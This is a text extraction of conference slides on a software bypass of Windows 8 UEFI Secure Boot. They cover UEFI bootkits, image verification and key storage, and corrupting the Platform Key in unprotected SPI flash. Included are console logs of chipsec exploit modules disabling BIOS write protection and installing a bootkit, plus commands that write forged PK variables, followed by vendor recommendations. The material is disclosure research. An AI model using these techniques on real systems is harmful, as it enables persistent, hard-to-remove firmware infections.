



A Tale of One Software Bypass of Windows 8 Secure Boot


Yuriy Bulygin

Andrew Furtak


Oleksandr Bazhaniuk

- UEFI and Bootkits
- Windows 8 Secure Boot
- Attacking Secure Boot
- Recommendations

UEFI and Bootkits



Unified Extensible Firmware Interface (UEFI)



Unified Extensible Firmware Interface (UEFI)

Industry Standard Interface Between Firmware & OS


Processor Architecture and OS Independent

C Development Environment (EDK2/UDK)


Rich GUI Pre-Boot Application Environment

Includes Modular Driver Model

Unified Extensible Firmware Interface (UEFI)



UEFI Bootkits



UEFI Bootkits

Replacing Windows Boot Manager

EFI System Partition (ESP) on Fixed Drive

ESP\EFI\Microsoft\Boot\bootmgfw.efi

UEFI technology: say hello to the Windows 8 bootkit! by ITSEC

Replacing Fallback Boot Loader


ESP\EFI\Boot\bootx64.efi

UEFI and Dreamboot by Sébastien Kaczmarek, QUARKSLAB

Adding New Boot Loader (bootkit.efi)

Modified BootOrder / Boot#### EFI variables

UEFI Bootkits




UEFI Bootkits

Adding/Replacing DXE Driver

Stored on Fixed Drive

Not embedded in Firmware Volume (FV) in ROM

Modified DriverOrder + Driver#### EFI variables



UEFI Bootkits

Patching UEFI “Option ROM”

UEFI DXE Driver in Add-On Card (Network, Storage..)
Non-Embedded in FV in ROM


Mac EFI Rootkits by @snare, Black Hat USA 2012

UEFI Bootkits

Replacing OS Loaders (winload.efi, winresume.efi)

Patching GUID Partition Table (GPT)

UEFI Bootkits



UEFI Bootkits



By booting this system up you agree

to have **no** expectation of **privacy**
in any communications or data,
transiting or stored on this system.
any communications or data may be
monitored, intercepted, recorded
and may be **disclosed** for any purpose.

press any key to continue...




ASUS

UEFI OS Boot Is Trivially Subverted

Replacing legacy OS boot with UEFI boot will also replace legacy M/VBR bootkits with UEFI bootkits.



So can bootkit problem be fixed?

Windows 8 Secure Boot




System Firmware and NVRAM Are in ROM

Signed
BIOS
Update




UEFI Firmware Relies on Secure Update

Signed
BIOS
Update




DXE Verifies Non-Embedded UEFI OROMs

Signed BIOS Update




DXE Verifies Non-Embedded DXE Drivers

Signed BIOS Update




DXE Core Verifies UEFI Applications

Signed BIOS Update




DXE Core Verifies UEFI Boot Loader(s)

Signed BIOS Update




UEFI Secure Boot

Signed BIOS Update




UEFI Boot Loader Verifies OS Loader

Signed BIOS Update



OS Kernel / Early Launch Anti-Malware (ELAM)

UEFI OS Loaders (winload.efi, winresume.efi)




UEFI DXE Core / Dispatcher

System Firmware (SEC/PEI)




UEFI Secure Boot

OS Loader Verifies OS Kernel



OS Kernel Verifies OS Device Drivers



Windows 8 Secure Boot

Platform Key (PK)

- Verifies KEKs
- Platform Vendor's Cert


Key Exchange Keys (KEKs)

- Verify db and dbx
- Earlier rev's: verifies image signatures

Authorized Database (db)

Forbidden Database (dbx)

- X509 Certificates, image SHA1/SHA256 hashes of allowed and revoked images
- Earlier rev's: RSA-2048 public keys, PKCS#7 Signatures



Secure Boot Keys

Non-Volatile (NV)

- Stored in SPI Flash based NVRAM

Boot Service (BS)

- Accessible to DXE drivers / Boot Loaders at boot time

Run-Time (RT)

- Accessible to the OS through run-time UEFI SetVariable/GetVariable API

Time-Based Authenticated Write Access

- Signed with time-stamp (anti-replay)
- PK cert verifies PK/KEK update
- KEK verifies db/dbx update
- certdb verifies general authenticated EFI variable updates

Secure Boot Key Protections

Certificate:

Data:

Version: 3 (0x2)

Serial Number:

53:41:e0:15:c4:3a:f8:a8:48:36:b9:a5:ff:69:14:88

Signature Algorithm: sha256WithRSAEncryption

Issuer: CN=ASUSTeK MotherBoard PK Certificate

Validity

Not Before: Dec 26 23:34:50 2011 GMT

Not After : Dec 26 23:34:49 2031 GMT

Subject: CN=ASUSTeK MotherBoard PK Certificate

Subject Public Key Info:

Public Key Algorithm: rsaEncryption

Public-Key: (2048 bit)

Modulus:

00:d9:84:15:36:c5:d4:ce:8a:a1:56:16:a0:e8:74:

...

Exponent: 65537 (0x10001)

X509v3 extensions:

2.5.29.1:

?=.../0-1+0)..U..."ASUSTeK MotherBoard PK

Certificate..SA...H6...i..

Signature Algorithm: sha256WithRSAEncryption

73:27:1a:32:88:0e:db:13:8d:f5:7e:fc:94:f2:1a:27:6b:c2:

...

-----BEGIN CERTIFICATE-----

MIIDRjCCAi6gAwIBAgIQU0HgFcQ6+KhINrml/2kUiDANBgkqhkiG9w0BAQsFADAt

...

-----END CERTIFICATE-----

PK (openssl x509 -in PK.pem -text)

SecureBoot

- Enables/disables image signature checks

SetupMode

- PK is installed (USER_MODE) or not (SETUP_MODE)
- SETUP_MODE allows updating KEK/db(x), self-signed PK

CustomMode

- Modifiable by physically present user
- Allows updating KEK/db/dbx/PK even when PK is installed

SecureBootEnable

- Global non-volatile Secure Boot Enable
- Modifiable by physically present user

Secure Boot Configuration

PK variable exists in NVRAM?

- **Yes. Set SetupMode to USER_MODE**
- **No. Set SetupMode to SETUP_MODE**

SecureBootEnable variable exists in NVRAM?

- **Yes**
 - **SecureBootEnable is SECURE_BOOT_ENABLE and SetupMode is USER_MODE? Set SecureBoot to **ENABLE****
 - **Else? Set SecureBoot to **DISABLE****
- **No**
 - **SetupMode is USER_MODE? Set SecureBoot to **ENABLE****
 - **SetupMode is SETUP_MODE? Set SecureBoot to **DISABLE****

Dependencies (AuthenticatedVariableService)

DxeImageVerificationLib defines policies applied to different types of images and on security violation

IMAGE_FROM_FV (**ALWAYS_EXECUTE**), IMAGE_FROM_FIXED_MEDIA,
IMAGE_FROM_REMOVABLE_MEDIA, IMAGE_FROM_OPTION_ROM

ALWAYS_EXECUTE, NEVER_EXECUTE,
ALLOW_EXECUTE_ON_SECURITY_VIOLATION
DEFER_EXECUTE_ON_SECURITY_VIOLATION
DENY_EXECUTE_ON_SECURITY_VIOLATION
QUERY_USER_ON_SECURITY_VIOLATION

Image Verification Policies

Let's have a look at the Secure Boot image verification process

SecurityPkg\Library\DxeImageVerificationLib

<http://sourceforge.net/apps/mediawiki/tianocore/index.php?title=SecurityPkg>

Image Verification Policy?

- **(IMAGE_FROM_FV)**
ALWAYS_EXECUTE?
EFI_SUCCESS
- **NEVER_EXECUTE?**
EFI_ACCESS_DENIED

```
//  
// Check the image type and get policy setting.  
//  
switch (GetImageType (File)) {  
  
case IMAGE_FROM_FV:  
    Policy = ALWAYS_EXECUTE;  
    break;  
  
case IMAGE_FROM_OPTION_ROM:  
    Policy = PcdGet32 (PcdOptionRomImageVerificationPolicy);  
    break;  
  
case IMAGE_FROM_REMOVABLE_MEDIA:  
    Policy = PcdGet32 (PcdRemovableMediaImageVerificationPolicy);  
    break;  
  
case IMAGE_FROM_FIXED_MEDIA:  
    Policy = PcdGet32 (PcdFixedMediaImageVerificationPolicy);  
    break;  
  
default:  
    Policy = DENY_EXECUTE_ON_SECURITY_VIOLATION;  
    break;  
}  
//  
// If policy is always/never execute, return directly.  
//  
if (Policy == ALWAYS_EXECUTE) {  
    return EFI_SUCCESS;  
} else if (Policy == NEVER_EXECUTE) {  
    return EFI_ACCESS_DENIED;  
}
```

Image Verification (Policies)

- **SecureBoot EFI variable doesn't exist or equals to SECURE_BOOT_MODE_DISABLE? **EFI_SUCCESS****
- **File is not valid PE/COFF image? **EFI_ACCESS_DENIED****
- **SecureBootEnable NV EFI variable doesn't exist or equals to SECURE_BOOT_DISABLE? **EFI_SUCCESS****
- **SetupMode NV EFI variable doesn't exist or equals to SETUP_MODE? **EFI_SUCCESS****

Image Verification (Configuration)

Image signed?

- No
 - Image SHA256 hash in dbx? **EFI_ACCESS_DENIED**
 - Image SHA256 hash in db? **EFI_SUCCESS**

- Yes

For each signature in PE file:


- Signature verified by root/intermediate cert in dbx?
EFI_ACCESS_DENIED
- Image hash in dbx? **EFI_ACCESS_DENIED**

For each signature in PE file:

- Signature verified by root/intermediate cert in db?
EFI_SUCCESS
- Image hash in db? **EFI_SUCCESS**

- **EFI_ACCESS_DENIED**


Image Verification (Crypto)



Secure Boot in Action

**Windows 8/UEFI Secure Boot is pretty important
protection from boot malware!**


Attacking Windows 8 Secure Boot




Just turn it off in the BIOS setup screen ;)

Just to be clear, the issues are in the implementation of Secure Boot and required UEFI firmware protections on certain platforms



We think Windows 8 Secure Boot looks like this




Or more like this



How exciting! ... But still not close





The Reality Is Much More Exciting

**Windows 8 Secure Boot is only secure when
ALL platform/BIOS vendors do a couple of things
correctly**

- Allow signed UEFI firmware updates only
- Protect UEFI firmware in SPI flash from direct modification
- Protect firmware update components (inside SMM or DXE on reboot)
- Program SPI controller and flash descriptor securely
- Protect SecureBootEnable/CustomMode/PK/KEK/db(x) in NVRAM
- Implement VariableAuthenticated in SMM and physical presence checks
- Protect SetVariable runtime API
- Securely disable Compatibility Support Module (CSM), unsigned legacy Option ROMs and MBR boot loaders
- Configure secure image verification policies (no ALLOW_EXECUTE)
- Build platform firmware using latest UEFI/EDK sources
- Correctly implement signature verification and crypto functionality
- **And don't introduce a single bug in all of this...**



Windows Hardware Certification Requirements: Client and Server Systems


System.Fundamentals.Firmware.UEFI SecureBoot

- 3 When Secure Boot is Enabled, CSM must NOT be loaded
- 7 Secure Boot must be rooted in a protected or ROM-based Public Key
- 8 Secure firmware update process
- 9 Signed Firmware Code Integrity Check
- 14 No in-line mechanism is provided whereby a user can bypass Secure Boot failures and boot anyway
- ...

Windows 8 Secure Boot Requirements



What If UEFI BIOS Updates Are Not Signed?



When UEFI Firmware Updates Are Not Signed

No luck 

**UEFI firmware update capsules are signed
RSA-PSS 2048 / SHA-256 / e=F₄**

Wait, let's check one little thing...

BIOS Exploit

```
[+] loaded exploits.bios.bh2013
[+] imported chipsec.modules.exploits.bios.bh2013
[*] BIOS Region: Base = 0x00200000, Limit = 0x007FFFFFFF

[*] Reading 0x80 bytes from BIOS region in ROM (address 0x20F000)..
ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff |
ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff |
ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff |
ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff |
ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff |
ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff |
ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff |
ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff |


[+] Checking protection of UEFI BIOS region in ROM..
[spi] UEFI BIOS write protection enabled but not locked. Disabling..
[!] UEFI BIOS write protection is disabled
[*] Writing payload to BIOS region (address 0x20F000)..

[*] Reading BIOS back (address 0x20F000)..
20 20 49 4e 20 59 4f 55 52 20 42 49 4f 53 20 20 |   IN YOUR BIOS
20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 |
20 20 44 4f 4e 27 54 20 57 4f 52 52 59 21 20 20 |   DON'T WORRY!
59 4f 55 52 20 4f 53 20 42 4f 4f 54 20 48 41 53 |   YOUR OS BOOT HAS
20 20 42 45 45 4e 20 53 45 43 55 52 45 44 20 20 |   BEEN SECURED
20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 |
20 42 4c 41 43 4b 20 48 41 54 20 32 30 31 33 20 |   BLACK HAT 2013
ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff |
```


Can We Write to UEFI Firmware in ROM?

So UEFI firmware updates are signed but firmware is directly writeable in SPI flash? So is NVRAM with EFI variables. Hmm... What could go wrong?


Hint: Malware could patch DXE Image Verification driver in ROM or it could change persistent Secure Boot keys/configuration in NVRAM




When Firmware Is Not Protected in ROM




**Malware Modifies UEFI Firmware in ROM
(directly programming SPI controller)**



Then Installs UEFI Bootkit



Firmware Doesn't Enforce Secure Boot



UEFI Bootkit Now Patches OS Loaders/Kernel

Patch DXE ImageVerificationLib driver code

- Differ from one platform/vendor to another
- Different versions of EDK and BIOS Cores

Replace/add hash or Cert in db


- Bootkit hash is now allowed
- Generic exploit, independent of the platform/vendor
- Can be found by inspecting “db” in ROM

Replace/add RootCert in KEK or PK with your own

- Bootkit signature is now valid

Clear SecureBootEnable variable


- Despite UEFI defines “SecureBootEnable” EFI variable platform vendors store Secure Boot Enable in platform specific places
- Format of EFI NVRAM and EFI variable in ROM is platform/vendor specific
- May require modification in multiple places in NVRAM → parsing of platform specific NVRAM format
- Replacing entire NVRAM or even entire BIOS region to SB=off state is simpler but takes a while



Parsing Proprietary EFI NVRAM

Corrupt Platform Key EFI variable in NVRAM

- Name (“PK”) or Vendor GUID (8BE4DF61-93CA-11D2-AA0D-00E098032B8C)
- Recall that AutenticatedVariableService DXE driver enters Secure Boot **SETUP_MODE** when correct “PK” EFI variable cannot be located in EFI NVRAM
- Main volatile SecureBoot variable is then set to DISABLE
- ImageVerificationLib then assumes Secure Boot is off and skips Secure Boot checks
- Generic exploit, independent of the platform/vendor
- **1 bit modification!**



Corrupting Platform Key in ROM

Windows 8 HW Certification Requires Platforms to Protect UEFI Firmware and NVRAM with Secure Boot keys!

7. **Mandatory. Secure Boot must be rooted in a protected or ROM-based Public Key.**
Secure Boot must be rooted in an RSA public key with a modulus size of at least 2048 bits, and either be based in unalterable ROM or otherwise protected from alteration by a secure firmware update process, as defined below.

```
Administrator: Windows PowerShell

PS C:\Windows\system32> Get-SecureBootPolicy

Publisher                                     Version
-----
77fa9abd-0359-4d32-bd60-28f4e78f784b        1

PS C:\Windows\system32> Get-SecureBootUEFI -Name SecureBoot | Format-List

Name      : SecureBoot
Bytes     : {1}
Attributes : BOOTSERVICE_ACCESS
           RUNTIME_ACCESS
           AUTHENTICATED WRITE ACCESS

PS C:\Windows\system32> Get-SecureBootUEFI -Name SetupMode | Format-List

Name      : SetupMode
Bytes     : {0}
Attributes : BOOTSERVICE_ACCESS
           RUNTIME_ACCESS
           AUTHENTICATED WRITE ACCESS

PS C:\Windows\system32> Get-SecureBootUEFI -Name PK | Format-List

Name      : PK
Bytes     : {161, 89, 192, 165...}
Attributes : NON VOLATILE
           BOOTSERVICE_ACCESS
           RUNTIME_ACCESS
           TIME BASED AUTHENTICATED WRITE ACCESS
```

Secure Boot Is Enabled

```
python chipsec_main.py --module exploits.secureboot.pk - Far 3.0.3156 x64 Administrator

[+] loaded exploits.secureboot.pk
[+] imported chipsec.modules.exploits.secureboot.pk
[*] BIOS Region: Base = 0x00200000, Limit = 0x007FFFFFFF

[*] Reading EFI NVRAM (0x40000 bytes of BIOS region) from ROM..
[*] Done reading EFI NVRAM from ROM
[*] Searching for Platform Key (PK) EFI variables..
[*]   Found PK EFI variable in NVRAM at offset 0x12E9B
[+] Found 1 PK EFI variables in NVRAM
[*] Checking protection of UEFI BIOS region in ROM..
[spi] UEFI BIOS write protection enabled but not locked. Disabling..
[!] UEFI BIOS write protection is disabled
[*] Modifying Secure Boot persistent configuration..
[*]   0 PK FLA = 0x212EA6 (offset in NVRAM buffer = 0x12EA6)
[*]   Modifying PK EFI variable in ROM at FLA = 0x212EA6..
[+] Modified all Platform Keys (PK) in UEFI BIOS ROM
[!] *** Secure Boot has been disabled ***
[*] Installing UEFI Bootkit..
[!] *** UEFI Bootkit has been installed ***
[*] Press any key to reboot..
```

Corrupting Platform Key in NVRAM

Security

Manage All Factory Keys (PK,KEK,DB,DBX)

Install default Secure Boot keys

Platform Key (PK) NOT INSTALLED

- ▶ Set PK from File
- ▶ Get PK to File
- ▶ Delete the PK

Key Exchange Key Database(KEK) INSTALLED

- ▶ Set KEK from File
- ▶ Get KEK to File
- ▶ Delete the KEK
- ▶ Append an entry to KEK

Authorized Signature Database(DB) INSTALLED

- ▶ Set DB from File
- ▶ Get DB to File
- ▶ Delete the DB
- ▶ Append an entry to DB

Forbidden Signature Database(DBX) INSTALLED

- ▶ Set DBX from File
- ▶ Get DBX to File
- ▶ Delete the DBX
- ▶ Append an entry to DBX

Force System to User Mode -
install default Secure Boot
Variables(PK,KEK,db,dbx).
Change takes effect after
reboot

←+ : Select Screen

↑↓ : Select Item

Enter: Select

+/- : Change Opt.

F1 : General Help

F9 : Optimized Defaults

F10 : Save & Exit

ESC : Exit

Platform Key Is De-Installed



Для загрузки необходим номер вашей кредитной карты на securecreditcardz.ru

```
Administrator: Windows PowerShell
PS C:\Windows\system32>
PS C:\Windows\system32> Get-SecureBootUEFI -Name SecureBoot

Name                Bytes                Attributes
----                -
SecureBoot          {0}                  BOOTSERVICE ACCESS...

PS C:\Windows\system32> Get-SecureBootUEFI -Name SetupMode

Name                Bytes                Attributes
----                -
SetupMode           {1}                  BOOTSERVICE ACCESS...

PS C:\Windows\system32> Get-SecureBootUEFI -Name PK
Get-SecureBootUEFI : Variable is currently undefined: 0xC0000100
At line:1 char:1
+ Get-SecureBootUEFI -Name PK
+ ~~~~~
+ CategoryInfo          : ResourceUnavailable: (Microsoft.Secur...BootUefi
  Command:GetSecureBootUefiCommand) [Get-SecureBootUEFI], StatusException
+ FullyQualifiedErrorId : GetFWVarFailed,Microsoft.SecureBoot.Commands.Get
  SecureBootUefiCommand

PS C:\Windows\system32>
```

Back to Setup Mode → Secure Boot Is Off

Demo 1

**Attacking Windows 8 Secure Boot on
ASUS VivoBook Q200E**

This issue does not affect platform vendors correctly protecting their UEFI BIOS in ROM and during BIOS Update but

When UEFI firmware is not adequately protected (in ROM or during update), subverting UEFI Secure Boot is not the only thing to worry about!

**S-CRTM and TPM based Measured Boot including
Full-Disk Encryption solutions relying on the TPM
can also be subverted**

Evil Maid Just Got Angrier

BIOS Chronomancy by John Butterworth, Corey Kallenberg, Xeno Kovah

Or you can get infected with UEFI BIOS or SMM malware

a.k.a. “extremely persistent malware” © .gov

Persistent BIOS Infection by Anibal Sacco, Alfredo Ortega

Hardware Backdooring is Practical by Jonathan Brossard

The Real SMM Rootkit by core collapse

SMM Rootkits by Shawn Embleton, Sherri Sparks, Cliff Zou

Huh! It requires kernel exploit?

Why Not Just Directly Modify Secure Boot Keys from the OS? There's an API for that

```
# chipsec_util.py uefi writevar PK 8BE4DF61-93CA-11D2-AA0D-00E098032B8C PK_forged.bin
```

SetFirmwareEnvironmentVariable failed

[Error 5] Access is Denied.

```
C:\Users\bh2013\Desktop\bh2013\chipsec-1.0>python chipsec_util.py uefi writevar PK 8BE4DF61-93CA-11D2-AA0D-00E098032B8C PK_forged.bin
WConio package is not installed. No colored output
[CHIPSEC] Writing EFI variable Name='PK' GUID={8BE4DF61-93CA-11D2-AA0D-00E098032B8C} from 'PK_forged.bin' via Variable API..
Writing EFI variable:
Name      : PK
GUID      : 8BE4DF61-93CA-11D2-AA0D-00E098032B8C
[-] ERROR: SetFirmwareEnvironmentVariable failed (GetLastError = 0x5)
[Error 5] Access is denied.
[CHIPSEC] (uefi) time elapsed 0.000

C:\Users\bh2013\Desktop\bh2013\chipsec-1.0>python chipsec_util.py uefi writevar SetupMode 8BE4DF61-93CA-11D2-AA0D-00E098032B8C SetupMode_mod.bin
WConio package is not installed. No colored output
[CHIPSEC] Writing EFI variable Name='SetupMode' GUID={8BE4DF61-93CA-11D2-AA0D-00E098032B8C} from 'SetupMode_mod.bin' via Variable API..
Writing EFI variable:
Name      : SetupMode
GUID      : 8BE4DF61-93CA-11D2-AA0D-00E098032B8C
[-] ERROR: SetFirmwareEnvironmentVariable failed (GetLastError = 0x5)
[Error 5] Access is denied.
[CHIPSEC] (uefi) time elapsed 0.000
```

Secure Boot Variables

**Remember Secure Boot Key variables are
“Authenticated Write Access”**

**You have to sign EFI variable and have corresponding
X509 Cert in NVRAM (PK/KEK/certdb)**

Secure Boot Variables

Is it possible to bypass Windows 8 Secure Boot and install UEFI bootkit by remote user mode exploit?

Coordinated disclosure of multiple vulnerabilities to affected BIOS and platform vendors is ongoing but we can offer a demo

Demo 2

Attacking Windows 8 Secure Boot from user-mode

Now what?

Only signed updates should be allowed

- Signed UEFI Capsule based update via S3/reset
- Run-time update from within SMM only

Protect UEFI firmware in ROM

- Use BIOS Control to enable write protection of the entire BIOS region in SPI flash
- Use Protected Range registers to write-protect ranges of SPI flash

Protect EFI variable store (NVRAM) in ROM

- NVRAM contains Secure Boot keys and NV configuration

Measuring Secure Boot configuration into PCR[7] may prevent or complicate certain exploits

- Facilitates detection via remote attestation
- Windows BitLocker may seal encryption keys to PCR[7]
- Microsoft Hardware Certification Requirements

Recommendations (Platform Vendors)

- **Make sure platform has Windows 8 Logo**
 - Such platform has to adhere to the security requirements in **System.Fundamentals.Firmware.UEFI SecureBoot**
- **Check if UEFI firmware updates are signed**
 - Corrupt firmware update binary and feed it to the BIOS update utility
- **Ask if and how platform adheres to the BIOS Protection Guidelines (NIST SP 800-147)**

Recommendations

Black Hat organizers and review committee

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- *UART THOU MAD?* by Toby Kohlenberg and Mickey Shkatov
- *ANDROID: ONE ROOT TO OWN THEM ALL* by Jeff Forristal

Don't Miss These Talks!

Thank You!

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